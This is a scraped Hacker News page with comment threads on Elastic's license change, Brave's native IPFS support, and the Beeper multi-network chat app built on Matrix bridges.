> But yanking the Apache license out and moving to a more-restrictive license is not the right solution, and is not what everyone who contributed to building the product signed up for.

What would you suggest, at this point in time, that Elastic did instead? They released the projects as OSS 10 years ago - there's no changing that. Now they need to stop Amazon or they might not survive as a company. I'm honestly interested to hear your suggestion.

riku_iki(10000) 2 days ago [-]

> This is pretty much exactly what happened to MySQL, and now we have MariaDB, which is a better and truly open source product.

This is controversial example, in my understanding MySql creator requested to agree with his terms for all OSS commits, which gave him copyright rights on codebase, then sold his rights to Sun, and only then created MariaDb - OSS fork.

ramoz(10000) 2 days ago [-]

A question worth asking, has AWS paid retribution to the elastic oss ecosystem with new oss? If so, Elastic are the bad guys.

auggierose(10000) 2 days ago [-]

Just as Elastic chose their license, and then Amazon took advantage of that, so did contributors decide to contribute under that license. So those contributors do not deserve any more sympathy than Elastic. Both got stuff yanked out from under them. Those contributors shot themselves in the foot.

paxys(10000) 2 days ago [-]

It's possible for there to be no good guys in a fight. They are both multi-billion dollar corporations looking out for their shareholders' interests. 'Open source' is being thrown around by both sides as a marketing/goodwill tool, nothing more.

tus88(10000) 2 days ago [-]

It's a good point. Imagine if one of those open source projects that Elastic uses licensed there own little bit of code under the SSL. Elastic would flip out.

dccoolgai(10000) 2 days ago [-]

Classic 'externalize costs' (have community build and evangelize for you) then 'privatize gains' (now that we're here, we're changing the deal).

asim(10000) 2 days ago [-]

Amazon are the masters of theivery. The hypocrisy is not going unnoticed. Amazon contributed nothing of value to open source, then they basically stole the hard work of others and again contributed nothing back and now they're going so far as to preach about open source. Please. The sad part is, users won't care and customers won't care because at the end of the day ease of use wins. Elastic are taking drastic measures which will in the short term impact then but hopefully in the long term everyone will give more thought to what licenses they choose. Open source is no longer just about the freedom of choice but now a marketing and commercial strategy for big tech. Just keep that in mind if you ever want to build something of value in the open.

senko(10000) 2 days ago [-]

> Open source is no longer just about the freedom of choice but now a marketing and commercial strategy for big tech.

It always was, that's how Elastic got to IPO.

> Just keep that in mind if you ever want to build something of value in the open.

Or just keep in mind that 'it's open source, but it's MY open source' isn't a valid business plan.

spion(10000) 2 days ago [-]

There has to be a way for an OSS project / companies to offer licences to managed service providers in a way that gets them supported financially. That would be a massive win for everyone

Something like: okay yes, this is OSS, except if you want to offer it as a managed service, in which case you need to purchase a licence.

donretag(10000) 2 days ago [-]

I had meetings lately with AWS regarding the license and was told about the fork. They mentioned something to the effect that Elastic was being greedy with open-source software.

I am an early contributor to Elasticsearch. I probably have more commits to the core product than most employees. It is now incredibly difficult for a non-employee to have any PR looked at unless it is a bug. I stopped contributing after their last 'we are open' debacle but did have one outstanding feature PR open. Over two years later, still not merged. You will have others commenting that they would like the feature, but Elastic sits on it. Not blaming them, but at this point, it really is being driven by them. I give up trying to contribute.

softwaredoug(10000) 1 day ago [-]

Both companies are doing things in their self-interest and 'greed'

For Amazon, they are 'being greedy' because large scale cloud vendors primarily benefit from commoditized open source as they can provide the cheapest offering at scale...





Historical Discussions: IPFS Support in Brave (January 19, 2021: 1164 points)

(1164) IPFS Support in Brave

1164 points 4 days ago by alexrustic in 10000th position

brave.com | Estimated reading time – 2 minutes | comments | anchor

IPFS Privacy and Security Considerations

IPFS carries different privacy benefits and costs than sites loaded over traditional protocols such as HTTP(S). Some of these privacy considerations apply regardless of your IPFS configuration. For example, typically browsers use the origin as a privacy and security boundary, called the same-origin policy (SOP). When loading sites over IPFS, Brave instead uses the CID as the origin boundary. Additionally, Brave only allows subresources to be loaded over IPFS when the main page is loaded from IPFS. A page can set a cookie for its own CID, but not that of another CID. An IPFS page can contain other IPFS images, stylesheets and iframes from any CID, and can fetch IPFS content within the same CID.

Other IPFS risks and benefits depend on how Brave is configured. If Brave is configured to use a local IPFS node, when accessing IPFS content, it also makes you a temporary host of that content. IPFS nodes use libp2p network-layer stack and have a PeerID which can be looked up in a distributed hash table (DHT), and that DHT can be observed by others. Both requests you make and content you serve are observable by network peers.

On the other hand, if Brave is configured to use a public IPFS gateway, the privacy risks are different. For example, that gateway can see the content you're asking it to load through IPFS requests. The gateway could potentially also lie about the content it is serving you. In the future, Brave plans to verify content retrieved through gateways by using its CID.

We do not allow IPFS URIs to be resolved in private windows and Tor windows. The go-ipfs component manages just one store of data and we configure it to run garbage collection every hour if the cache is at 90% of the storage max (1GB). When a user clears their browser data for cached images and files, we also trigger garbage collection on the stored IPFS content which go-ipfs manages. This deletes all IPFS content except for pinned content. We may decide to allow IPFS in private windows in the future by keeping a separate configuration and cache that gets automatically cleared when the session ends.

You can read more about privacy considerations here: https://support.brave.com/hc/en-us/articles/360051406452-How-does-IPFS-Impact-my-Privacy-




All Comments: [-] | anchor

erichocean(10000) 4 days ago [-]

Maybe they shouldn't have let go the guy who made it happen...

babypuncher(10000) 4 days ago [-]

Maybe he shouldn't have donated all that money to bigoted organizations.

dang(10000) 4 days ago [-]

We detached this subthread from https://news.ycombinator.com/item?id=25839218.

christophilus(10000) 4 days ago [-]

I missed this. What is the backstory?

erichocean(10000) 4 days ago [-]

Does Brave support Puppeteer?

jonathansampson(10000) 4 days ago [-]

I believe the answer is yes. Should you run into any issues, please do let us know.

mleonhard(10000) 4 days ago [-]

> The gateway could potentially also lie about the content it is serving you. In the future, Brave plans to verify content retrieved through gateways by using its CID.

Does anyone know why this was omitted? Verifying a hash is straightforward. Both the old simple MerkleDAG format [0] and the new complicated IPLD format [1] allow fetching and verifying individual files inside a CID-addressed bundle.

> Both requests you make and content you serve are observable by network peers.

That is a deceptive way to say, 'if you click the 'Enable IPFS' button then your computer will continually publish your browsing history to the world.' And they make it too easy to enable. It's just a button below the address bar [0]. And the button has a deceptive name, 'Enable IPFS'. The browser can use IPFS through a gateway, so IPFS is already enabled.

There are many important projects to improve privacy and reduce tracking and monitoring of user behavior on the network: DNS over HTTPS, TLS Encrypted SNI, blocking third-party cookies, proxy services (incorrectly called VPNs), anti-fingerprinting work in browsers, and mobile privacy features. Is there any work on making IPFS resistant to tracking? Right now, IPFS seems like a step backward for privacy.

> By default, Brave will load the URI being requested via a public HTTP gateway

> If IPFS is not yet configured, the user will have the IPFS page loaded through the gateway https://dweb.link. [2]

Fortunately, Brave shows the gateway URL in the browser address bar. This lets users know which company is tracking them. For Brave users (dweb.link users), this is Protocol Labs https://protocol.ai , a VC-funded company in California.

[0] https://github.com/ipfs-inactive/papers/blob/master/ipfs-cap...

[1] https://github.com/ipld/specs/

[2] https://github.com/brave/brave-browser/issues/10220

sneak(10000) 4 days ago [-]

> Does anyone know why this was omitted? Verifying a hash is straightforward.

A CID for a file is not a simple hash, it represents the root of a merkledag of a file tree and chunks of the file. Getting the dag metadata requires a p2p connection under normal circumstances. A public HTTP gateway, given the CID, returns file content, not the file tree or merkledag the CID is a hash over.

It's doable, but totally reasonable that they didn't include this in 1.0.

further reading:

https://dag.ipfs.io/

https://cid.ipfs.io/

traverseda(10000) 4 days ago [-]

Does IPFS actually work?

jonathansampson(10000) 4 days ago [-]

It does :) Download Brave and navigate to the following URL for a quick demo:

ipfs://bafybeiemxf5abjwjbikoz4mc3a3dla6ual3jsgpdr4cjr3oz3evfyavhwq/wiki/Vincent_van_Gogh.html

fnord77(10000) 4 days ago [-]

I don't understand. I tried putting the straight ipfs hashes in the address bar - /ipfs/blahblah - it didn't work.

the links that do work go through ipfs.io. Is this just a gateway like onion.ly for tor?

sebmellen(10000) 4 days ago [-]

You have to use the

  ipfs:// 
prefix!
redmaverick(10000) 4 days ago [-]

There are no youtube ads that play on Brave. This is my number one reason why I use Brave.

mrone(10000) 4 days ago [-]

Really? This issue could be easily solved by using uBlock origin, which is an extension supported on almost all major browsers such as Firefox, Google Chrome, Opera and Microsoft Edge.

pojntfx(10000) 4 days ago [-]

Awesome! I just hope that some institution (looking at you, EU) forces Apple to finally allow third-party browser engines on iOS, so that IPFS support is available on that platform (w/o a gateway).

not_really(10000) 4 days ago [-]

That would be amazing, but unfortunately I'd estimate that hell will freeze over before that happens.

benhylau(10000) 4 days ago [-]

There are several new and exciting decentralized web protocols. I am working on a tool to publish to all of them. Right now it publishes to IPFS and Hypercore, and will eventually serve signed plaintext so content can be shared to Scuttlebutt and Aether networks.

For example, this site is published using https://github.com/hyphacoop/api.distributed.press and it can be accessed over HTTP, IPFS, and Hypercore.

https://staging.compost.digital

ipns://staging.compost.digital

hyper://staging.compost.digital

(gateway) https://ipfs.distributed.press/ipns/staging.compost.digital/

(gateway) https://hyper.distributed.press/staging.compost.digital/

sebmellen(10000) 4 days ago [-]

Do you have any contact information? Would love to get in touch. Working on a similar project at https://intpub.org (very nascent website, but mature ideas).

needz(10000) 4 days ago [-]

Neat. Still can't make the switch until they have an equivalent to Firefox containers.

jerf(10000) 4 days ago [-]

I have the Sessionbox extension for Chrome running in Brave, and it's broadly similar. It is not identical and I do not promise it'll meet your needs, especially if you define your needs as 'exactly the same way it works in Firefox', but it's worth a try.

But it's doing what I want it to do, have multiple AWS accounts open at once in one browser.

0df8dkdf(10000) 4 days ago [-]

just use the chrom profile it is same as containers in firefox.

jonathansampson(10000) 4 days ago [-]

You can run multiple profiles in parallel in Brave, and we don't allow cookies to bleed over into other domains anyway. That's the default behavior. It would be great to have tabs from different profiles in a single window, but that isn't presently supported. Our work is not yet complete!

abdulmuhaimin(10000) 4 days ago [-]

Brave is becoming more and more compelling.

How I wish they develop their own engine(I know, tough task), or at least use Firefox's. Chromium based browser is really a deal breaker for me

electriclove(10000) 4 days ago [-]

Why is a Chromium based browser a deal breaker?

christiansakai(10000) 4 days ago [-]

I feel like the golden age of front end is just coming to ripe. Ethereum smart contract toolchain is written in JavaScript, browser wallet like Metamask is the defacto way to interact with user's wallet without having to send any sensitive information (private key) to the server, and now with IPFS as well!

Dare I dream that an entire frontend assets (compiled html, js, css) is hosted on IPFS, making a truly decentralized apps?

Seems like an exciting era to be a JavaScript/frontend devs.

sebmellen(10000) 4 days ago [-]

This is already the case with Uniswap: https://uniswap.org/blog/ipfs-uniswap-interface/.

Let's see if the underlying economic models can mature to be viable in the 'real world,' or at least the digital real world. BAT, for example, made Brave possible, but the tokenomics are bad and basically no one uses it.

That said, it is an exciting time, for sure! JavaScript sure has grown from humble beginnings.

adkadskhj(10000) 4 days ago [-]

Can anyone compare Brave to Beaker Browser? I've long been interested in Dat vs IPFS, so i'm curious how their browser counterparts behave.

I suppose right off the bat, Brave is a 'normal' browser - so it just supports +1 protocol. That's really cool.

VoxPelli(10000) 4 days ago [-]

Just a note that it's nowadays not `dat:` but `hyper:`, a rename of the protocol, that's used by Beaker: https://hypercore-protocol.org/

kickscondor(10000) 4 days ago [-]

Beaker also supports regular web links - but Brave also supports Tor websites.

However, Beaker has its own extended web API and tooling. You can fork websites, edit them - and you can script this functionality. (For example, I have a wiki software in Beaker that will handle all the forking and editing behind the scenes - using Javascript to make it happen.)

You could say that Brave is a read-only HTML browser with wide support for decentralization protocols. While Beaker is a read-write HTML browser with its own protocol. And they both use the regular web as well.

alexrustic(10000) 4 days ago [-]

See also ZDNet article about this:

Brave becomes first browser to add native support for the IPFS protocol

https://www.zdnet.com/article/brave-becomes-first-browser-to...

fwip(10000) 4 days ago [-]

I've got a quibble with the headline - it might be the biggest browser to have native IPFS support, but some tiny browsers got there first.

agilob(10000) 4 days ago [-]

Mozilla promised us Tor integration, IPFS integration and more private browsing by default. Brave delivered it all.

zoobab(10000) 4 days ago [-]

http://zoobab.wikidot.com/elinks-with-bittorrent-support

Boycott Firefox, Switch to Brave, my browser had Bittorrent support 16 years ago

In 2005, Elinks browser had built-in Torrent support. In 2021, Firefox still does not have built-in Torrent support. In 2021, Brave has built-in Torrent support.

Why Firefox has not focussed on decentralisation and uncensorability for the last 16 years?

Maybe because they work for their grand masters (Google and other GAFAMs) who want power, and don't want decentralization?

musicale(10000) 4 days ago [-]

> Mozilla promised us Tor integration, IPFS integration and more private browsing by default. Brave delivered it all.

Interesting. When Mozilla promise this, and what sort of time frame were they talking about?

Presumably 'more private browsing' has been delivered somewhat already in Firefox?

Reedx(10000) 4 days ago [-]

Mozilla seems to be moving in the other direction now.

'We need more than deplatforming'

https://blog.mozilla.org/blog/2021/01/08/we-need-more-than-d...

mikece(10000) 4 days ago [-]

Does Brave have an implementation of Multi-Account Containers? This is the ONE killer feature in Firefox that makes it impossible for me to leave for Brave completely:

https://addons.mozilla.org/en-US/firefox/addon/multi-account...

tarruda(10000) 4 days ago [-]

It is easier for Brave to deliver new features when the biggest work is done by Chrome team.

shuringai(10000) 4 days ago [-]

and in return, brave replaces your urls with their affilate links. no thanks i'll took the hassle to open tor browser on an ipfs client

caycep(10000) 4 days ago [-]

I kind of wonder how many Mozilla developers/engineers jumped ship to Brave over the years?

jonathansampson(10000) 4 days ago [-]

And we will continue to deliver :)

Thank you for the support!

gorgoiler(10000) 4 days ago [-]

I don't know anything about IPFS and would like to know more.

When I visit an HTTPS URL I see content and some authenticity (of the server, at least) tied with the transport mechanism.

IPFS provides the content and a distributed transport. Does the protocol include authentication of the author? Is it up to the content author to include their own signature protocol outside of IPFS?

[If you post an ipfs:// link claiming it is a New York Times article, how do I know it's real?]

issamehh(10000) 4 days ago [-]

My understanding is that the integrity of the contents is assured due to the identifier being a hash of the content. From there I don't think it's really needed for a whole protocol to verify the author. Couldn't something as simple as a gpg signature be sufficient? If they signed the hash and gave it to you then it would be good

rpdillon(10000) 4 days ago [-]

Not at all an expert on this, but my impression is the trust model is different for IPFS than for the web. IPFS is a distributed CAS, so the address is the hash of the content (this can be verified by the client). Whereas the web focuses on 'I'm talking to who I think I'm talking to', IPFS focuses on 'I'm getting the content I asked for'. So, to answer your question, I think authorship is an orthogonal concern to IPFS's focus, which is verifiably delivering the requested bytes.

All that said, IPNS likely bridges the content/authorship gap you're asking about.

> A name in IPNS is the hash of a public key. It is associated with a record containing information about the hash it links to that is signed by the corresponding private key. New records can be signed and published at any time.

https://docs.ipfs.io/concepts/ipns/

In this context, that key would be held by the author, allowing the author to publish different content by signing it with the key.

SulfurHexaFluri(10000) 4 days ago [-]

Its basically the same as a torrent or a public key. You have to first trust the source of the IPFS hash but if you trust the hash you can trust the content downloaded with it.

If for example NYT tweeted an IPFS hash, you could trust the content was from them.

hecturchi(10000) 4 days ago [-]

IPFS has a mechanism called IPNS where any /ipns/author-hash can resolve to /ipfs/hash and the ipns record is signed and can only be provided by that signer/author.

But this is just another way of authenticating the 'author'. You can also use dns (if you can trust it), or you can use signed content, or you can get the ipfs hash through a channel you trust.

The main idea though, is that IPFS content is authenticated by default because it is referenced by its own hash. The problem on obtaining a hash you can trust is just a layer above and solvable in multiple ways, as needed.

paride5745(10000) 4 days ago [-]

I tried to switch fully to Brave, but I had issues with Sync, messing up my 400+ bookmarks (thanks regular backups for the recovery), plus I really dislike uphold, as I had terrible experiences with them.

Any plan to at least allow using other crypto platforms like coinbase?

BrendanEich(10000) 4 days ago [-]

Sorry for the sync problem -- should be fixed now, if you are willing to try it again.

We talk to many custodians and would love to partner with Coinbase. We've added Gemini (creator wallets now, user next) and are adding bitFlyer. So options beyond Uphold to comply with regional regulations, as well as to give users choice, are coming.

musingsole(10000) 4 days ago [-]

Tried Brave in the past. I liked it fine but didn't have a practical reason for it. Now I do and will be switching promptly.

jonathansampson(10000) 4 days ago [-]

Welcome back, MusingSole. We missed you :)

JBiserkov(10000) 4 days ago [-]

See also the Beaker peer-to-peer web browser. I love how much simpler it is to host websites, from the browser - the real read/write web!!

I'm not affiliated with them in any way.

https://beakerbrowser.com/

https://docs.beakerbrowser.com/faq#what-does-beaker-do-bette...

kubanczyk(10000) 4 days ago [-]

I'd like to take a look at say ~10 self-hosted sites. How can I get to them? Honest question.

loceng(10000) 4 days ago [-]

Does it bother anyone else that Brave's claiming to be the first browser to support IPFS?

jonathansampson(10000) 4 days ago [-]

The folks at Beaker are doing a phenomenal job; it's great to be working towards a common goal of a better Web.

ChainOfFools(10000) 4 days ago [-]

Opera used to have this capability (internal web server, read/write web) until it was gutted and turned into another chromium skin after V.12

iknowstuff(10000) 4 days ago [-]

Lovely. Mozilla should be advancing the web in similar ways in Firefox.

josteink(10000) 4 days ago [-]

They're too busy taking down MDN, firing talented engineers, diverse-hiring non-developers and funding feminist Wordpress-setup camps these days for that to ever happen.

Mozilla today is not the Mozilla we knew.

1996(10000) 4 days ago [-]

Yes, Firefox need to focus on a usecase.

It may not be able to beat chromium right now, but a working IPFS and TOR right inside your 'vanilla' Firefox would give a compelling reason to keep it, when you can install chromium/chrome/edge and get better features - except this one!

simmanian(10000) 4 days ago [-]

Honest question: what does it mean that Brave supports IPFS in this case? I can load IPFS links on my Firefox just fine.

fledgexu(10000) 4 days ago [-]

Yes, you can. 'Native Supports' means that Brave has a native IPFS node in their Browser and you don't need download IPFS-Desktop or use public gateway to visit websites in IPFS network.

4b11b4(10000) 4 days ago [-]

Is there any kind of 'index' of 'public' IPFS sites?

hecturchi(10000) 4 days ago [-]

This gets close to it: https://awesome.ipfs.io/

There is also https://ipfs-search.com/

Some sites may offer IPFS versions transparently and you only notice if you have something like IPFS companion installed, as it then switches to your local node.

Acrobatic_Road(10000) 4 days ago [-]

almonit.eth (if you can't resolve .eth then go to https://bafybeie2qeto62s3to6ngv6rublnghoh5qowwcwbuigpevr7uka...)

elisaado(10000) 4 days ago [-]

Curious about this as well, may be a proto-Google but for IPFS?

nvr219(10000) 4 days ago [-]

No, not yet.

k__(10000) 4 days ago [-]

Pretty awesome.

I switched from Firefox to Brave a few months ago and really like it.

Chrome performance is really needed for all the heavy weight browser apps I use for my job and Brave paired with NextDNS form a really good ad-block team.

thescriptkiddie(10000) 4 days ago [-]

Am I the only one who has significant performance problems with Brave/Chrome/chromium? Is this an OSX issue?

Nican(10000) 4 days ago [-]

It is not the first time that I have looked at IPFS and I still have a hard time understanding how the ecosystem is going to work.

From my understanding, the file hash is basically the file URL, such that any change to the file content is a change to the file url as well. For hosting something like Wikipedia, how would one create pages that link to one another? And if indexes need to be created on top of the content, how are the different indexes kept in sync?

arduinomancer(10000) 4 days ago [-]

Another commenter mentioned IPNS but another thing that seems to help with this is that the content hash can be a folder containing static files.

You can then link to files within the folder using relative links.

I guess this avoids having to have IPNS entries for every file?

theptip(10000) 4 days ago [-]

https://docs.ipfs.io/concepts/ipns/

Quoth:

IPFS uses content-based addressing; it creates an address of a file based on data contained within the file. If you were to share an IPFS address such as /ipfs/QmbezGequPwcsWo8UL4wDF6a8hYwM1hmbzYv2mnKkEWaUp with someone, you would need to give the person a new link every time you update the content.

The InterPlanetary Name System (IPNS) solves this issue by creating an address that can be updated.

A name in IPNS is the hash of a public key. It is associated with a record containing information about the hash it links to that is signed by the corresponding private key. New records can be signed and published at any time.

...

Alternatives to IPNS

IPNS is not the only way to create mutable addresses on IPFS. You can also use DNSLink, which is currently much faster than IPNS and also uses human-readable names. Other community members are exploring ways to use blockchains to store common name records.

Splatter(10000) 4 days ago [-]

I have been a diehard user of the Vivaldi browser for a while now. I just posted the referenced article to their forum stating that Vivaldi should follow suit. Without such support I'll likely change to Brave specifically due to IPFS support.

The internet is in desperate need of decentralization.

jonathansampson(10000) 4 days ago [-]

We would love for you to download Brave and give the emerging IPFS support a spin. Any feedback you have about expectations and experience would be greatly appreciated.

desireco42(10000) 4 days ago [-]

Vivaldi is great, I really like it. Both it and Brave are excellent places to browse internet. Glad to have options and choice.

tylersmith(10000) 4 days ago [-]

I'm also a big fan Vivaldi and have been pretty vocal about it. Thanks for taking the time to make this request. I've added a comment of support, so the demand for this has literally doubled in 15 minutes!

whycombagator(10000) 4 days ago [-]

I want to like Vivaldi but isn't it closed source? That's a non-starter for me (given most other alternatives are open source)

fabianhjr(10000) 4 days ago [-]

Most browsers have great support via the IPFS Companion ( https://docs.ipfs.io/install/ipfs-companion/ ) and that is better since it is easy to have an IPFS node running locally since it is quite efficient.

kickscondor(10000) 4 days ago [-]

Ok ok - check this out.

ipns://k51qzi5uqu5dlusethckbaq0kf1udrhaq99lvrd21krkbnjukthfbv3hu4wkk8/ [Brave] (edit: got ipns://kickscondor.com/ working.)

hyper://f8f860772e5e489beaf5c00390ab5b42703f8dd2a57d74e4d563433834208543/ [Beaker]

http://kickscofbk2xcp5g.onion/ [Tor]

https://kickscondor.com/ [Plain]

Needs a Gemini version.

sebmellen(10000) 4 days ago [-]

Awesome. Is this a one man show or many people together?

Jayschwa(10000) 4 days ago [-]

Ha, very cool. The HTTPS version does not load for me right now, but the IPFS version does (somewhat slowly). Supporting all the hot protocols could be a good subject for a blog post or guide.

anderspitman(10000) 4 days ago [-]

But does it support netcat?

    nc apitman.com 2052 <<< /txt/feed
miguelmota(10000) 4 days ago [-]

I recommend Pinata [0] for IPFS pinning if you do not want to host your own IPFS node. I'm not sure when they'll start charging but it's been free since they launched and I believe Infura [1] also has free pinning. Cloudflare [2] is a good alternative gateway to use. For deployment I use this deploy tool [3] which makes it as simple as `ipd -p pinata my-app` to host a static frontend.

[0] https://pinata.cloud/

[1] https://infura.io

[2] https://blog.cloudflare.com/distributed-web-gateway/

[3] https://github.com/ipfs-shipyard/ipfs-deploy

sebmellen(10000) 4 days ago [-]

Piñata is great and I'm a happy user, but one note: Piñata is not free above 1GB. You can see their pricing page here: https://pinata.cloud/pricing.

uniqueid(10000) 4 days ago [-]

I know little about this protocol.

It seems to make things better like client privacy, server versioning and censorship of good actors.

As usual, nobody bothered to worry about problems it worsens. Do we want more anonymity and less censorship for bad actors?

Good and bad may be subjective, but nearly everyone looks at that issue pragmatically in some instances (to pick an unlikely example: some demented billionaire buying nukes), and in tech we seem incapable of accounting for that.

anticristi(10000) 4 days ago [-]

I was thinking the same: Who is responsible to deal with my GDPR removal request?

kortilla(10000) 4 days ago [-]

The people who produce anti-censorship tools usually philosophically believe that it's not the job of a communications tool to enforce acceptable speech.

It's sort of like complaining that making it easier to vote brings the average voter education level down. The people making it easier are certainly aware but don't think it's right to make it more difficult to vote.

always_learning(10000) 4 days ago [-]

Once they ship Multi-Account Containers i am switching. Firefox have already annoyed me with the 'more than just de-platforming' nonsense

ayewo(10000) 4 days ago [-]

This is the first time I'm hearing about this blog post: https://blog.mozilla.org/blog/2021/01/08/we-need-more-than-d...

I use Firefox but don't receive their newsletter, follow their social accounts or any kind of communication, and I'm guessing this is true for a lot of FF users, so I'm wondering how you learned of it?

Did Mozilla try to shove their brand of politics down your throat in-browser? Via the new tab or a similar mechanism?

If not, I don't think its enough—at least for me—to jump ship.

Stackoverflow did the same by injecting the immediate past CEO's brand of politics into the side bar. Even with push back from the community, they didn't stop or apologize.

In spite of their actions, people still derive value from the large cache of answers that is their Q&A product to get work done. Lots of people will keep going back to use their product, even if they disagree politically.

reedlaw(10000) 4 days ago [-]

I would like to use Brave but there is a serious issue--users are unable to install non-store extensions.

https://github.com/brave/brave-browser/issues/2457

https://github.com/brave/brave-browser/issues/5761 (duplicate)

shaunregenbaum(10000) 4 days ago [-]

I was able to install my own extensions. It was the same exact process as for Chrome.

gadders(10000) 4 days ago [-]

'Hey, check out this cool image of a van Gogh painting I found. It's at ipfs://bafybeiemxf5abjwjbikoz4mc3a3dla6ual3jsgpdr4cjr3oz3evfyavhwq/wiki/Vincent_van_Gogh.html'

I think they need to work on making these urls human readable.

drak0n1c(10000) 4 days ago [-]

That's what IPNS is doing, which is like DNS for IPFS. Another comment mentioned this example: ipns://kickscondor.com

devops000(10000) 4 days ago [-]

Basically, someone could copy paywalled contents and distribute them on IPFS ? Or any copyrighted content.

https://github.com/victorb/ipfscrape

solanav(10000) 4 days ago [-]

Just like with HTTP yeah. You can download a webpage and publish it with Apache or NGINX too. Are you implying this is bad?

neiman(10000) 4 days ago [-]

Do they always refer to the same gateway, dweb.link? Is there a way to change this gateway?

Otherwise all of ipfs will end up going through dweb.link, and that's how you centralized a decentralized technology.

BrendanEich(10000) 4 days ago [-]

No, other browsers and extensions use a gateway. This is a Go-IPFS local node, downloaded on demand (or you can run your own and connect via it).

petre(10000) 4 days ago [-]

I used it until they introduced widgets in nov 2020 and screwed with my start page, then switched back to opera. Of course bat, rewards and the other junk was disabled from the onset. Dunno why bother and build your business model around such useless non features. The browser is pretty good otherwise. Ipfs is nice but not enough to switch back, not until the start page, frequents is unscrewed anyway. Others will probably follow suit and add ipfs as well. A torrent downloader and magnet links would be nice as well.

drak0n1c(10000) 4 days ago [-]

For those reading, the start page/new tab stuff can be trimmed and removed with a few clicks in Settings if desired.

vorpalhex(10000) 4 days ago [-]

I've been critical of Brave in the past, but I'm glad to see IPFS gaining more traction. IPFS getting browser based support is what's needed to connect in traditional consumers and let it take off.

simias(10000) 4 days ago [-]

I agree, I still want to support Firefox because I'm worried about all web browsers becoming shallow reskins of Chrome, but having built-in support for IPFS is pretty great.

That being said given the trajectory taken by Mozilla it seems like I'll have to give up on it sooner or later... What a waste.

meremortals(10000) 4 days ago [-]

Which criticisms? I've just started using it after Firefox's blog post

joshuakelly(10000) 4 days ago [-]

Massive. I have a project that assumed ipfs:// would eventually exist natively within a mainstream(-ish) browser, and I'm very pleased to discover that after updating to 1.19.x it all just works.

Excited for the forthcoming DNSLink support too, even if it's just a bridge to something even better. Best of luck to everyone who wants the web to stay bundled inside of the corporate state.

justsee(10000) 4 days ago [-]

It really is great to see challenger browsers pushing the web forward like this.

Along with IPFS it's nice to see Tor integration, low-level content blocking, a privacy-respecting Zoom alternative (https://together.brave.com/) and integrated MetaMask for Web3.

Brave still has a small userbase (~24 million), but hopefully it creates the space / incentives for Firefox and others to play catch-up so we see a lot of these features standardised for the benefit of all users, regardless of browser preference.

kickscondor(10000) 4 days ago [-]

I believe DNSLink works - I was able to get ipns://kickscondor.com/ working with a TXT record. Is that what you mean?

simmanian(10000) 4 days ago [-]

I wrote this somewhere below as well but I'm honestly confused. It seems like I can load ipfs:// links just fine on my firefox. Is there something I'm missing?

Edit: you guys are right. it seems i have installed the add-on some time ago and forgot about it.

breck(10000) 4 days ago [-]

Agreed. I've kept Brave around because it seems to work better on Paywalled sites, but haven't had a hugely compelling reason to use it yet. Stuff like this is awesome. It's like they are saying to Chrome, Safari, Edge—'hello, we're here, and we're going to take risks. wanna play?'





Historical Discussions: Show HN: Beeper – All Your Chats in One App (January 20, 2021: 946 points)

(947) Show HN: Beeper – All Your Chats in One App

947 points 4 days ago by erohead in 10000th position

www.beeperhq.com | | comments | anchor

We decided to open source all our bridges to enable you to audit how Beeper connects to each chat network and verify the security of your data. The side effect is that you may self host if you prefer.

There are two options for self hosting Beeper:

  1. On-premises, managed by Beeper: run our install script on your amd64 server or 4gb Raspberry Pi and run all bridges locally on your own hardware. This option requires a Beeper subscription.
  2. Self-host the full stack: The simplest and free way to self-host the full Matrix+bridges stack is with this Ansible script

NB: the Beeper client app is not open source, but the stack will work with Element (open source Matrix client).




All Comments: [-] | anchor

erohead(10000) 4 days ago [-]

While working on Pebble, we ran into a lot of issues as we tried to enable messaging from the watch. For example, we never figured out how to send an iMessage or WhatsApp reply. While digging around for a solution to that problem, I thought it was odd that no one had built a Adrium/Trillian/Meebo chat app for modern chat networks. I buried that thought for a while, until I learned about Matrix two years ago.

Matrix is the holy grail of chat. It's end-to-end encrypted by default, federated and open source. The only problem is that not a single one of my friends or family was on it! Luckily the Matrix folks had already envisioned a solution to this problem - they built an API enabling 'bridges' between Matrix and other chat networks. This struck a chord with me, maybe we could finally build a single app that I could use to chat with all my friends, regardless of which chat app they used. Through the Matrix community I met Tulir, the most prolific bridge developer and we started working together on what would become Beeper. I've been using it as my primary chat client for almost 2 years now. I could not imagine going back to the hot mess of 12 different chat apps I had before!

Beeper is a paid service because I think it aligns interests between us and our users. We make a featureful and secure app, in exchange you pay us money. For those who prefer to self-host, you can run the entire Beeper backend stack on your own server. The vast majority of the code we've written for Beeper is open source on gitlab.com/nova. Our desktop client is closed source, but you can use Element (or any open source Matrix client) if you prefer. See our FAQ for more info or I'd be happy to explain more.

pinusc(10000) 3 days ago [-]

As someone who self-hosts a bunch of bridges–great work! Really appreciate seeing a simple solution for people who don't know or don't want to self host.

Also, seeing that Tulir is not working entirely pro-bono but that his efforts are backed by a company makes me more hopeful that the bridge development will continue!

Abishek_Muthian(10000) 3 days ago [-]

Nicely done, congratulations on the launch!

This brings back memories. In 2017 I had launched a similar 'chat-app network' platform[1] for privacy focused dating using Bot API of the respective platforms allowing communication between,

Messenger <-> Telegram <-> Viber <-> LINE

It was quickly selected for acceleration by one of those platforms. The features included half-duplex messaging(user had to wait for reply to send a message to prevent harassment), optional location, near-far dates switch etc.

Adoption was quick, the first major issue I ran into was that in SE Asian countries many used their children photographs for profile picture in chat apps, which obviously was a no go for dating, so I had to implement Amazon Rekognition to detect age and make those users change their profile picture and their profiles weren't displayed until it was changed. At peak it processed 200,000 images/month.

Obviously bridge approach as in Beeper(Matrix) is a more reliable approach than using Bot API, especially due to UI/UX limitations and even platform stability issues(Some bot API were nascent).

In about a year it even crossed the Trough of Sorrow with ~2,40,000 users on Messenger alone.[2] But had to let go of it as I fell sick(was told I could become quadriplegic[3]) and as single founder bus factor hit my startup.

I received several offers to buy the platform, but I didn't sell it as I was not sure whether the buyers would stick to the privacy promises. So I just nuked the platform.

Even if I had continued, I'm not sure whether I could have monetized successfully as selling digital content was explicitly prohibited by these platforms because of Apple Tax/Google Tax(it would mean that the chat apps function as app store).

[1]https://www.youtube.com/watch?v=aeuL8_Qinhs

[2]https://web.archive.org/web/20181203031208/https://finddate....

[3]https://abishekmuthian.com/i-was-told-i-would-become-quadrip...

sarthakjshetty(10000) 4 days ago [-]

Holy! I don't remember the last time I was this excited for a chat app. I just saw your tweet and came to HN to post it but this was already on the front page haha.

Just a quick question (completely noob question, I apologize in advance), do bridges work like APIs? Where can I read more about this protocol?

Really looking forward to this Eric!

NikolaNovak(10000) 3 days ago [-]

